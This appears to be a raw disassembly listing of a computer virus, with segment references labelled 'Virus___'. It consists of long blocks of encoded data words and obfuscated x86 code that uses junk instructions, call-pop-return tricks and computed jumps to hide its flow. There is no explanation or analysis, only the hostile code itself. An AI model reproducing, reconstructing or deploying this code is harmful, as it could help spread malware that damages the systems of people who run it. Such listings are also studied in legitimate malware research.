		dd 6830Fh, 95890000h, 95D1D55h,	0B88689h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 89BA37C3h, 5D03118Dh, 6A006A09h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5C20C352h
		dd 7D87E547h, 0BFC7A55Fh, 51454FCBh, 0A564B5FFh, 6A0960h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 8954E5C3h, 566FA763h, 61B355AEh, 14C995FFh, 9D29095Dh
		dd 95D09CDh, 5F525096h,	64B5FF96h, 530960A5h, 0AE8h, 20B45100h
		dd 0F822B522h, 894CF594h, 5D295585h, 0FF5F5B09h, 5D137D95h
		dd 15BD2309h, 83095D25h, 5D19D1BDh, 840F0009h, 2Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D8C35141h, 50DFD878h
		dd 89FB8B66h, 9D8B2434h, 95D0271h, 0A564B5FFh, 0BF0F0960h
		dd 6D9D8BD9h, 0FF095D0Bh, 5D2F9595h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1ADE068Eh
		dd 0F242CBE6h, 0A564B5FFh, 6A0960h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D2BB53C3h
		dd 0E900ACAEh, 0Fh, 189DC2D6h, 6CE064C0h, 45A9FBDh, 0FF399757h
		dd 5D179595h, 0D98B6609h, 0B11BD83h, 0F02095Dh,	2084h
		dd 0D19D8B00h, 8B095D31h, 5D221585h, 0EB816609h, 0C64DBDh
		dd 6E800h, 0C7D40000h, 94E8F9Bh, 4585C75Bh, 95D05h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 18E2C353h, 0CC91623Fh, 62FAA03Ah,	315D9D8Bh
		dd 21E9095Dh, 0FFFFFF3h, 680h, 31852900h, 8B095D17h, 32E780C1h
		dd 23E9h, 0FB388700h, 2Fh, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B590D
; ---------------------------------------------------------------------------
		db 5Bh,	7, 57h
		dd 63F370DCh, 5DFD44E8h, 6AEA7AD6h, 62F24DE1h, 25FA9E9h
		dd 369A1141h, 7AB2030h,	369A1141h, 8FA82333h, 0A5C955C6h
		dd 53730F6h, 0ABABBEA1h, 5EFE41EDh, 31CD5E17h, 0AF3A584Dh
		dd 0A9058EBAh, 56FABC9Ch, 6ED1C913h, 4FCDAE10h,	0B3B01C5Ah
		dd 0FA49E5A3h, 0B0B01C5Ah, 4E084819h, 0A1084E5Bh, 0BECF81DDh
		dd 0DC6980C2h, 0D5BF77Ch, 108FC64Dh, 41EBDF9h, 44CC6BE2h
		dd 0E6203EA1h, 0CF95390Dh, 0DD65C98Fh, 0EE7D347Dh, 3A579C14h
		dd 0EBAD998Ch, 5B6EF08Ch, 8FC64D0Dh, 77312123h,	6FFA5662h
		dd 0E53AA9EFh, 9B3A579Ch, 5BBC5BE7h, 9AB483C1h,	56h, 6AEA7FD3h
		dd 0ABBEFA5Eh, 0A27EEDABh, 0DC3A584Dh, 96FB9EA0h, 0DFB48310h
		dd 6, 2C2C3A96h, 0A9BEBC18h, 46005010h,	0AC004653h, 2D81C797h
		dd 74054313h, 0F463608h, 0F5B3A3A3h, 4DAF73E0h,	4113A58h
		dd 97C79C30h, 0F9B5B01Ch, 584D986Ah, 81D083Ah, 0A5BE2783h
		dd 0EA63FCB5h, 0E868FEFBh, 563CF977h, 0BB882462h, 0B0CCDD9Bh
		dd 8481BAEh, 3A1A2F83h,	4B91D07Ch, 0E7E75200h, 175144B3h
		dd 0DD6BC78Eh, 1A2E3B7Dh, 0CC3DDC66h, 29B48335h, 57h, 0B5A5BE8Dh
		dd 5016BAF3h, 0C9983400h, 0C2BECF89h, 86D66980h, 0BE9EA10Dh
		dd 4C0C54F8h, 53EF930Ah, 830E43B4h, 1487CEB4h, 3A58580Ah
		dd 72576376h, 50h, 1DE1723Bh, 833A5857h, 2F3A1A2Fh, 0A5BEBF1Bh
		dd 95FF3B5h, 97AC0049h,	1CB5F3C7h, 78CBDE60h, 0BEF753D8h
		dd 7CEFA9A9h, 3A584D9Fh, 0EF9DA1DDh, 10560643h,	2C6D3105h
		dd 25B48310h, 0DF99B989h, 0E1083CAh, 723A585Ah,	1765367h
		dd 0D2000000h, 0F1B7A7BEh, 0E48085Dh, 0F4B2A2A2h, 0A4C0C58h
		dd 76DA6418h, 0C6D16D11h, 72E2667Fh, 8FC989DEh,	6AC68F9Ah
		dd 723B7DDDh, 584D1DE1h, 8396833Ah, 30673CB7h, 70A7347Dh
		dd 0E833332Ch, 5217BBFDh, 0EEA8A8BBh, 0C965EEFBh, 99ADC7Ch
		dd 30FB1EF3h, 0F6B0A0A7h, 94F0F5Ah, 0CE82DCA0h,	0B0471B67h
		dd 14441CB5h, 4DD74801h, 0C9BEA091h, 32E15135h,	0CA1FD9ADh
		dd 8CD975FEh, 2B6DED75h, 0C16D2B3Eh, 87D76D84h,	0C844DB92h
		dd 0DA6F2FA5h, 1F0E487Ch, 7DC8DF63h, 0C50A56DDh, 4CBDE05Ch
		dd 0C8C9605h, 58F430FBh, 6A5E4B0Bh, 1334Fh, 0F75BEB00h
		dd 81DAEE6Eh, 9FD69F12h, 0D0EEA300h, 98ACDFD1h,	3235740Bh
		dd 6773EC33h, 11E74EA6h, 7DD19782h, 4FE368E8h, 0B01C5AFAh
		dd 0F2E3A5B5h, 2025B48Eh, 0BBF2BB30h, 0FAB8D628h, 95C58030h
		dd 8ED2E6F3h, 0BDE0A549h, 81A89C0h, 7830FAC5h, 607C596Dh
		dd 0D8000000h, 155C4F49h, 915BDC86h, 0C2872B88h, 6DC1D492h
		dd 2B3E78D8h, 2A6C791Fh, 584E65B9h, 45411BAh, 656EE42h
		dd 0F14D3140h, 2D314D5Fh, 5A93E07Fh, 0BACDC360h, 0C0E3D58Eh
		dd 3A1A2589h, 0AAD4470Eh, 56089206h, 9FA60A43h,	81D3D06h
		dd 0E46F5B4Eh, 87F0h, 0C426B900h, 0F1862BD8h, 49FB5F6Bh
		dd 0C888DE4Ah, 800794DDh, 0D733333Dh, 856B5E48h, 1C279FDDh
		dd 0F360293Ch, 30FA562Fh, 0D6B08491h, 1C2985C3h, 4E1BB73Ch
		dd 0AD01480Eh, 1C8FC696h, 30FA5702h, 0CC5F6B7Eh, 30FA559Dh
		dd 0E57FD39Ah, 213D4175h, 883D396h, 8416453h, 99AE309Bh
		dd 13554029h, 0ECAAAABFh, 0DA6EC28Bh, 0C393D67Ah, 0D8A49085h
		dd 4CDF9686h, 3A1BEEB2h, 540F3B2Eh, 96054C5Fh, 32BB4635h
		dd 77D3584Dh, 2E674A49h, 0D979CB67h, 2660F075h,	33940733h
		dd 4F32F7A5h, 0C55A135Ah, 690E10E7h, 8B9704D4h,	0F530F702h
		dd 3E92D4E0h, 2B622B2Bh, 22DF162h, 869330F7h, 0F7030915h
		dd 1DE87730h, 0A90D9A7Ch, 4AC1F5E0h, 0B5F363E6h, 8CC52926h
		dd 63CF8656h, 3C4074E4h, 82D29722h, 0B0A0A509h,	5513BFF6h
		dd 0E538CA59h, 0BDA80A5Ch, 0CFFBEEA8h, 3871E163h, 5FF5D8A7h
		dd 3378B5Ah, 45E2245h, 6BE070F5h, 9BD282C7h, 822E2E37h
		dd 0C1D492C2h, 3A7B3F5h, 3000000h, 0A4BEE541h, 0B5EF2B4h
		dd 0A3A10D4Bh, 959F5B3h, 0A0A30F49h, 95AF6B0h, 0A1A30F49h
		dd 0A5BF7B1h, 0A3A00C4Ah, 51D8F5B3h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 1C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	4266h
		mov	[esp], ebx
		push	edi
		mov	edi, 5AFB32BBh
		mov	esi, 645CDBA0h
		add	esi, 5188374Eh
		sub	esi, edi
		sub	esi, 5188374Eh
		pop	edi
		push	395Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, esi
		mov	[ebx+8], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		db 62h,	6Eh, 52h
		dd 75A310B1h
		db 30h
; ---------------------------------------------------------------------------


loc_5B590D:				; CODE XREF: Virus___:005B5410j
		mov	eax, 961AD4Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0EE88h
		dd 0DE0F1DBCh, 0A2A415EDh, 0DA8033Fh, 0A8991402h, 16514E4h
		dd 80C87F22h, 0ED7C3FB1h, 0CFE21991h, 70EF03B2h, 0AE081449h
		dd 0EDBC40A9h, 678A56D4h, 46D1102Fh, 414D529Dh,	0E7E7350Ch
		dd 40CE4E30h, 3E0273Ch,	0EF367560h, 263D048Fh, 8F5F5850h
		dd 936522D3h, 0F6BE6FF9h, 7FCC7D8Ah, 0C4D978DFh, 6E4A7B26h
		dd 62B548CEh, 82BA24ABh
; ---------------------------------------------------------------------------
		pop	eax


loc_5B5985:				; DATA XREF: Virus___:005726CFo
		xor	ecx, [ebp+5D223985h]
		or	ebp, esi
		push	eax
		jmp	loc_5B599F
; ---------------------------------------------------------------------------
		db 65h
		dd 508EBFB6h, 0ABF06A01h
		db 68h,	2Fh, 88h
; ---------------------------------------------------------------------------


loc_5B599F:				; CODE XREF: Virus___:005B598Ej
		mov	[esp], eax
		jbe	loc_5B59A9
		clc


loc_5B59A9:				; CODE XREF: Virus___:005B59A2j
		push	0
		push	0
		push	ebp
		call	sub_5B59B6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B59B6	proc near		; CODE XREF: Virus___:005B59AEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B59B6	endp

; ---------------------------------------------------------------------------
		scasd
		das
		sub	[edi-4Fh], ebx
		jnp	short loc_5B5A01
		add	edi, [edi]
		mov	edi, esi
		push	0
		mov	bx, 0DB4Dh
		lea	eax, [ebp+961B069h]
		push	0
		push	esi
		call	sub_5B59E8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B59E8	proc near		; CODE XREF: Virus___:005B59E0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5B59E8	endp

; ---------------------------------------------------------------------------
		dd 1D41B2DCh, 526A9B44h
		db 0B5h
; ---------------------------------------------------------------------------


loc_5B5A01:				; CODE XREF: Virus___:005B59CBj
		push	edx
		mov	ebx, [ebp+95D1A49h]
		add	eax, 5
		push	0
		push	ecx
		call	sub_5B5A16
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5A16	proc near		; CODE XREF: Virus___:005B5A0Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B5A16	endp

; ---------------------------------------------------------------------------
		dw 0F22h
		dd 0E890DAB7h, 10h, 3ADAB403h, 0CEB371AEh, 11BA2114h, 530D148Ah
		dd 0BB2AB360h, 478B8A3Ch, 0F505F61h, 198Dh, 14E900h, 0CE420000h
		dd 2AFA9815h, 26056A24h, 3DCB67D7h, 0D137B2C2h,	0E8905DD0h
		dd 0Ah,	0E850BF78h, 2D97AB2Dh, 0D7803E90h, 6A5B60h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F0C35646h, 0C028F70Dh
		dd 0BB6634D4h, 6A919Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0CEC35747h, 95FF254Bh, 95D0851h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 60C35343h, 240DF7D8h
		dd 23A1ABC7h, 5D23F5BDh, 4C8D8D09h, 0E8096091h,	8, 2FB799EAh
		dd 2EDCF01h, 12CF8166h,	0D1FF5BFDh, 278DBD8Bh, 0BD83095Dh
		dd 95D0971h, 76850F01h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 3F31C351h
		dd 0CB050145h, 6ADE8B9Bh, 51006A02h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 10DFE46Bh
		dd 8A5091E1h, 240489FAh, 14C995FFh, 6A095Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 103F4C3h
		dd 5D1EB99Dh, 0EBCE909h, 0E80000h, 5D000000h, 0B073ED81h
		dd 6A0961h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 4E0F32C3h, 6ABF9589h, 6A401F1Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0B279C356h, 11E9h, 5EE2C500h, 0CBD6C508h, 55E1EC52h
		dd 97E517CAh, 858DEDB7h, 9608AE2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0DFC35343h,	2878487Ah, 9D8901B3h
		dd 95D063Dh, 11E86050h,	0F4000000h, 0C406E464h,	1BCDD2C4h
		dd 0E1A0E7CFh, 0D740C3C1h, 830Fh, 50580000h, 850Fh, 615B0000h
		dd 8B240489h, 35FF64DEh, 0
; ---------------------------------------------------------------------------
		and	di, 3E32h
		mov	large fs:0, esp
		add	di, 985Ah
		inc	dword ptr [ebp+95D2169h]
		push	0
		push	ebp
		call	sub_5B5C86
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5C86	proc near		; CODE XREF: Virus___:005B5C7Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B5C86	endp

; ---------------------------------------------------------------------------
		dw 0C671h
		dd 539A84C5h, 62011884h, 3181B589h, 0FF6A095Dh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B3C35242h, 39B5FF16h
		dd 0F095D28h, 95FFDFBFh, 95D0385h, 142E9h, 85296000h, 95D02C9h
		dd 20A98503h, 0B061095Dh, 0E9B52900h, 0E6095D2Ah, 599D8B70h
		dd 0E4095D29h, 784ABB71h, 613C4A93h, 115830Fh, 0BD8B0000h
		dd 95D2BB9h, 1C8B60Fh, 5D31298Dh, 79958909h, 0BA095D30h
		dd 6, 0C18BDF8Bh, 12E9h, 62AE2D00h, 0B8B7FC2Ah,	84916AF8h
		dd 0A1678B6h, 0C1B005A4h, 0F76604E8h, 56E8BFE2h, 0C82B3320h
		dd 2095BD8Bh, 0D18B095Dh, 20C9B501h, 0C0E9095Dh, 66000000h
		dd 0E90339BBh, 8, 4FC9308Bh, 94F02D77h,	8858Bh,	0EF800000h
		dd 7C0838Ah, 30558529h,	0C083095Dh, 6820F00h, 29000000h
		dd 5D21C985h, 0FD03B09h, 1D83h,	0BF666000h, 85292F41h
		dd 95D24D5h, 75E961h, 9D8B0000h, 95D148Dh, 17259D8Bh, 8D8B095Dh
		dd 0FFFFFFFFh, 12E9h, 0F96CDC00h, 5DA817Eh, 0B5240BD6h
		dd 0F35A0C74h, 8161E7C6h, 1487CEBh, 1E1834Ch, 3D840Fh
		dd 9D8B0000h, 95D171Dh,	83DAB70Fh, 0FFFFFFA5h, 0DF81FEFFh
		dd 0B95427Eh, 0CE960h, 0DEE60000h, 1BCE30FAh, 0C3C74CF6h
		dd 8B66692Eh, 958961F9h, 8, 14B59D8Bh, 0E9095Dh, 8D000000h
		dd 611F37B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 25E91BF7h, 890E7BFh, 0B644BBF7h
		dd 6A486Ch, 61BD8B60h, 61095D19h, 0C159D8Bh, 95FF095Dh
		dd 95D11B1h, 0CE9BD33h,	0F5B9095Dh, 0E8000010h,	10h, 40F63721h
		dd 703A7CC0h, 891C8A29h, 5AB0B1Bh, 6870Fh, 0BD8B0000h
		dd 95D1A1Dh, 0FCE1835Bh, 0BE9h,	3FFE1100h, 0F6380748h
		dd 0F77EF733h, 0CE9FCh,	3A360000h, 70E89D12h, 0EDA701D7h
		dd 0B82CAAh, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 98FCC357h, 0A66BA53Bh
		dd 70F51053h, 0D19D3153h, 5B095D26h, 6AD22Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 30CCE7C3h
		dd 1DBB6680h, 0C233AD9Bh, 0D003E8D1h, 7504E983h, 51006AF4h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0B02807B8h, 5C40023Eh, 89BD8BE7h, 6A095D03h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0DC4DC352h, 2700CBECh, 0D9589F5h, 66095D14h,	0DCC94BFh
		dd 88h,	0BDBD8BF9h, 8B095D04h, 5D091995h, 57006A09h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8BFC7408h, 5D13498Dh, 0C7816609h, 8B500220h,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 88C35343h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0CEC35343h,	2D9589C6h, 83095D12h
		dd 5D3169BDh, 840F0009h, 65h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 81C35343h, 58EBA920h, 9531D4E9h
		dd 95D1F8Dh, 0F787BF66h, 0B8h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0A0C4A2A0h
		dd 0DBB70FE4h, 4D928D8Dh, 0D380095Dh, 29E1FFBAh, 5D13D585h
		dd 0F9BD8309h, 95D15h, 4CC840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B6BC3h
		dd 95D1D75h, 15F9BD83h,	0F01095Dh, 4B884h, 0C19D8B00h
		dd 83095D19h, 5D15F9BDh, 860F0309h, 46Fh, 13BD9501h, 8B60095Dh
		dd 5D2F7D9Dh, 0D98C6609h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0BBC35040h, 30519D31h, 9D8B095Dh, 95D22EDh
		dd 6A04E180h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 80DDC350h, 67427E48h, 0A7D7664Ch
		dd 2C058529h, 0AF8095Dh, 0A3840FC9h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 7956C355h, 18989307h, 0F3080B5h, 858BF8BFh, 95D2C0Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 87C35343h
		dd 997C7577h, 3358B7C1h, 5D276585h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6DCDE4C1h
		dd 90D3C657h, 11E860h, 17CC0000h, 0D8CD1107h, 273E4F9Ah
		dd 0C024B893h, 0BA08A1F0h, 40B6BE9Eh, 6052505Fh, 60310F61h
		dd 61585A61h, 8B0F5050h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		nop
		xor	[ebp+95D0391h],	eax
		push	0
		push	0
		push	edi
		call	sub_5B61E5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B61E5	proc near		; CODE XREF: Virus___:005B61DDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B61E5	endp

; ---------------------------------------------------------------------------
		db 0B8h, 69h, 0BAh
; ---------------------------------------------------------------------------
		mov	[ecx+33h], ebx
		shr	byte ptr [ecx],	0BAh
		push	0D3931F24h
		jmp	loc_5B621B
; ---------------------------------------------------------------------------
		dd 0F2C95D75h, 3FD16C54h, 10A967A5h, 0E159774Bh
		db 0F8h, 0CDh, 0B9h
; ---------------------------------------------------------------------------


loc_5B621B:				; CODE XREF: Virus___:005B6203j
		add	dword ptr [esp], 2C8BE4DBh
		push	0
		push	ecx
		call	sub_5B622D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B622D	proc near		; CODE XREF: Virus___:005B6225p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B622D	endp

; ---------------------------------------------------------------------------
		dec	edi
		dec	esp
		dec	esi
		mov	edi, 489DA16h
		call	dword ptr [ebp+95D0FADh]
		push	0
		push	ebx
		call	sub_5B6256
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6256	proc near		; CODE XREF: Virus___:005B624Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B6256	endp

; ---------------------------------------------------------------------------
		xor	[eax+11E59D8Bh], ebp
		pop	ebp
		or	[ecx], ecx
		xchg	eax, ebp
		and	eax, 89095D25h
		test	[ebp+60h], esp
		or	[edx+0], ebp
		push	ebp
		call	sub_5B6285
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6285	proc near		; CODE XREF: Virus___:005B627Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5B6285	endp

; ---------------------------------------------------------------------------
		mov	dl, 0F9h
		adc	al, 0Ah
		retf	0BF0Fh
; ---------------------------------------------------------------------------
		dd 3890FFFh, 0F000000h,	0D2E9FBB7h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 27F9C351h, 858BE964h, 960A55Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0E2C35747h,	1804F53Ch, 8F57AC81h
		dd 21B589CAh, 0C7095D1Bh, 1800h, 96CF8100h, 8B15A8C9h
		dd 60A560B5h, 9858909h,	8B095D2Bh, 5D2901BDh, 51858B09h
		dd 0F095D31h, 68Ch, 9DBD8B00h, 89095D20h, 0D858B06h, 8B095D2Ch
		dd 5D243DBDh, 4468909h,	50FBBF0Fh, 840F5250h, 4, 8CDCBF66h
		dd 6E9310Fh, 68000000h,	58CD9165h, 89585AEBh, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0D9BA99C3h, 81E215F8h, 0D9A343D3h, 5CB5FF40h, 8B0960A5h
		dd 5D25F5BDh, 4E809h, 3FF0000h,	0BB66001Fh, 8A505B89h
		dd 24448BFAh, 52506004h, 6819B866h, 0BA66310Fh,	585A3468h
		dd 8B665250h, 0B3310FF7h, 61585ACCh, 0F60008Bh,	188Fh
		dd 13E900h, 0B54B0000h,	337646D1h, 0D8D23177h, 6322CED9h
		dd 0B8924E36h, 5F53530Dh, 44896159h, 66520424h,	5F060CBBh
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E2399209h, 0F53BC80Ah, 0E7808529h, 64858D81h
		dd 0E80960A5h, 8, 47B5892Eh, 0A4ACE0A4h, 65BB6651h, 505F5B11h
		dd 836AF2BFh, 2404894Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 78C35040h, 9539518h, 1A097F96h, 158589h
		dd 3157095Dh, 5D30C985h, 9D035B09h, 95D308Dh, 0FAD95FFh
		dd 0BF0F095Dh, 6A61D9h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0C8DD43C3h, 0BFE6E444h, 92C260Ah
		dd 6DDF8166h, 0F985C716h, 3095D15h, 8B000000h, 5D0905BDh
		dd 64BD8309h, 960A5h, 61840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 43F6AC3h
		dd 0DB5A241Ah, 0B5095CB8h, 95D2F3Dh, 0C840Fh, 8C0F0000h
		dd 6, 2A99BD8Bh, 3BE9095Dh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 666AC350h
		dd 50FE1EBBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6A60E8C3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9292C357h
		dd 0D38166D4h, 0BD83D766h, 95D15F9h, 32850F03h,	0E8000004h
		dd 0Eh,	3E3A4A3Ch, 82AC9664h, 0FF854224h, 8B60033Fh, 5D0535B5h
		dd 0E510B909h, 5B610543h, 0A564BD83h, 0F000960h, 40484h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8C0F1E80h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+95D0405h]
		push	dword ptr [ebp+960A564h]
		call	dword ptr [ebp+95D0A41h]
		push	0
		push	edx
		call	sub_5B6635
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6635	proc near		; CODE XREF: Virus___:005B662Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5B6635	endp

; ---------------------------------------------------------------------------
		js	short near ptr locret_5B6647+1

locret_5B6647:				; CODE XREF: Virus___:005B6645j
		retn	95CEh
; ---------------------------------------------------------------------------
		dw 36A9h
		dd 91BD8944h, 66095D27h, 8B9E76BFh, 60A558B5h, 6870F09h
		dd 8B000000h, 5D08A1BDh, 106C709h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 9D99C352h, 8B076D7Dh, 5D282DBDh, 0BF669609h,	965052B4h
		dd 1391BD8Bh, 0B5FF095Dh, 960A564h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 75C35343h, 0FD95FF0Ah, 0F095D05h
		dd 784h, 0BB666000h, 61F5E90Fh,	0A558B58Bh, 8B660960h
		dd 4D858BFBh, 0E9095D30h, 6, 5AFE47Bh, 868946A9h, 0C4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h
		dd 640941A6h, 0FE8D2DBh, 91000000h, 0CFFB8404h,	1995FE47h
		dd 472DEC9Eh, 9E884ECh,	4F000000h, 3E8620B8h, 455FDD98h
		dd 665B5FFCh, 958BFA8Bh, 95D0919h, 3F250BBh, 4C28319h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1C35747h
		dd 20078042h, 66603A3Fh, 858BD08Bh, 95D2A31h, 20508961h
		dd 0FDA8B60h, 8D61D9B7h, 60BBC185h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0AA157076h
		dd 0DF8BEA24h, 0B88689h, 81660000h, 6A38B9E7h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0B9F83DB9h, 0E72DBF59h, 0B5FF66CDh, 960A564h, 0FFF9B70Fh
		dd 5D14C995h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0DCE5FA75h, 0BB506104h, 20297C9h
		dd 6A243489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F5AC353h, 1B8Ah, 12E96000h, 59000000h
		dd 349D069Fh, 11FF97BDh, 864EE295h, 941881CCh, 616160D5h
		dd 0A564B5FFh, 6A0960h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 2942A0C3h, 8D316FD4h, 95D1621h
		dd 308DBD8Bh, 95FF095Dh, 95D137Dh, 6CBF6657h, 0BD835F2Ch
		dd 95D19D1h, 21840F00h,	50000000h, 3489D98Bh, 0E9850924h
		dd 60095D02h, 0AE9h, 47A8F200h,	0A0C26B21h, 66A1DDB2h
		dd 615AECBFh, 0A564B5FFh, 6A0960h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 754B7EC3h, 0F2518E8h
